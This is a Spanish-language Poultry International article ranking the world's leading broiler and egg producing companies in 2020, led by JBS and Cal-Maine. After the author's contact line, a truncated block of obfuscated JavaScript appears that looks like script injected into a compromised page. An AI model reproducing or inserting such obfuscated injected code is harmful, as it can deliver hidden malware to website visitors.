Estos nuevos detalles proporcionan un panorama más claro de la escala real de los productores líderes de pollo de engorde y huevo en el mundo.
Presentamos aquí nuestra edición de las empresas avícolas líderes del mundo, con las clasificaciones de las principales compañías productoras de pollo y huevo. La lista de las principales compañías avícolas del mundo de Poultry International muestra cómo un puñado de empresas cuenta con una importante participación en el mercado mundial, superando a sus competidores.
Este año hicimos un enfoque ligeramente diferente en la manera en que presentamos las clasificaciones. En algunos de los 50 mayores productores de pollo de engorde destacamos la clasificación de las filiales bajo sus empresas matrices.
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De esta manera, al destacar a las filiales y su producción, permite una rápida identificación de qué unidad de negocios contribuye a la producción total anual, al mismo tiempo que ilustra el alcance mundial que tienen algunas empresas.
Este no es el único cambio que verá en las siguientes páginas, pero el formato básico de presentación de datos sigue siendo el mismo.
Como en años anteriores, además de la clasificación proporcionada, hay más información disponible en nuestra base de datos en línea. Al lado de cada empresa aquí presentada, encontrará un enlace al perfil de la empresa en la base de datos. En estos perfiles hay información más amplia que abarca varios años atrás, hitos y antecedentes de estas empresas líderes.
Productores de pollo de engorde
Una vez más, la brasileña JBS encabeza la clasificación de los mayores productores de pollo de engorde del mundo. Sacrifican más de 4,000 millones de cabezas al año. Su negocio de pollo ahora es dos veces más grande que Tyson Foods, el segundo mayor productor de pollos del mundo.
Para dar una idea del tamaño que JBS ha alcanzado, la suma del total de cabezas sacrificadas por las empresas entre los puestos cinco al 10 no iguala el número de aves que JBS sacrifica al año.
Fue en 2017 que JBS arrebató el primer sitio a Tyson y la distancia entre ambas empresas sigue creciendo. Aunque hacer predicciones en el ambiente actual es un juego ligeramente peligroso, Tyson Foods podría asegurar el segundo lugar de la clasificación por algún tiempo, ya que este año también creció la brecha entre este y el tercer lugar, BRF.
Este año los cinco mayores productores de pollo del mundo, en cuanto a número de cabezas sacrificadas, mantienen las mismas posiciones que el año pasado. Es muy probable que en los próximos años JBS mantenga el primer puesto, aunque el impacto del COVID-19, las disputas comerciales y enfermedades animales de este año bien podrían cambiar el posicionamiento de las empresas cuando volvamos a revisarlas el próximo año.
Las clasificaciones muestran que en el último período notificado, las 10 mayores empresas productoras de pollo de engorde sacrificaron 12,900 millones de cabezas, las suficientes para dar un pollo y medio a cada habitante del mundo.
Nota: Copie y pegue el enlace bitly de la empresa que aparece en las tablas para acceder a la información. Los enlaces no están activos en el arte de la imagen. (WATT Global Media)
Nota: Copie y pegue el enlace bitly de la empresa que aparece en las tablas para acceder a la información. Los enlaces no están activos en el arte de la imagen. (WATT Global Media)
En 2019 y 2020, se incluyeron 16 empresas estadounidenses entre las 50 mayores, ocho de ellas entre las 25 mejores y en ambos años cinco empresas clasificaron entre los puestos 26 y 50.
No obstante, para China la clasificación es un poco diferente. El año pasado se incluyeron nueve empresas chinas. En ambos años, cuatro clasificaron entre las mayores 25, pero hubo cambios en los puestos inferiores de la clasificación. En 2019 se incluyeron cinco empresas en los puestos de la mitad inferior. Sin embargo, este año ese número cayó, lo cual hizo disminuir la participación general de China en el top 50.
De los tres mayores productores brasileños, este año JBS y BRF mantienen las posiciones 1 y 3, respectivamente. Sin embargo, Aurora Alimentos experimentó una caída en posiciones del puesto 34 al 39, debido a una disminución en su producción de más de 20 millones de aves.
Además de Brasil, hay empresas de otros países latinoamericanos. De México está Industrias Bachoco, de Perú, San Fernando, y el conglomerado de DIP-CMI que abarca Costa Rica, Guatemala, Honduras y El Salvador. Esto es independiente de las subsidiarias de JBS en México y de Cargill en Honduras, Nicaragua, Costa Rica y Colombia.
Otros cambios de este año están la inclusión de la sueca Scandi Standard que, al sacrificar 200 millones de aves al año, entra en la posición 44.
Producción de huevo
China es el mayor productor de huevos del mundo, pero no hay ninguna compañía de ese país que entre en la lista de las 25 empresas líderes.
En esta última clasificación, Cal-Maine, de Estados Unidos, se lleva el primer lugar. El año pasado la compañía expandió más del 10% su parvada, para sobrepasar a Proteína Animal (Proan) de México, que no notificó aumento en su parvada de ponedoras.
La clasificación de los 25 mayores productores de huevo del mundo está dominada por empresas estadounidenses. De las aproximadamente 283 millones de gallinas ponedoras que manejan los 25 principales productores del mundo, más de 184 millones de aves son propiedad de las 10 principales empresas estadounidenses, cuyo tamaño de parvadas, en su mayoría, siguió igual o aumentó en el período de este informe.
De hecho, al medirlas por tamaño de parvada, todo el continente americano domina firmemente la clasificación del top 25, al ser sede de 17 de las 25 empresas de huevo.
Nota: Copie y pegue el enlace bitly de la empresa que aparece en las tablas para acceder a la información. Los enlaces no están activos en el arte de la imagen. (WATT Global Media)
Mark Clements es editor de la revista Poultry International. Para contactarlo, escríbale a través de su correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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1 de noviembre de 2020
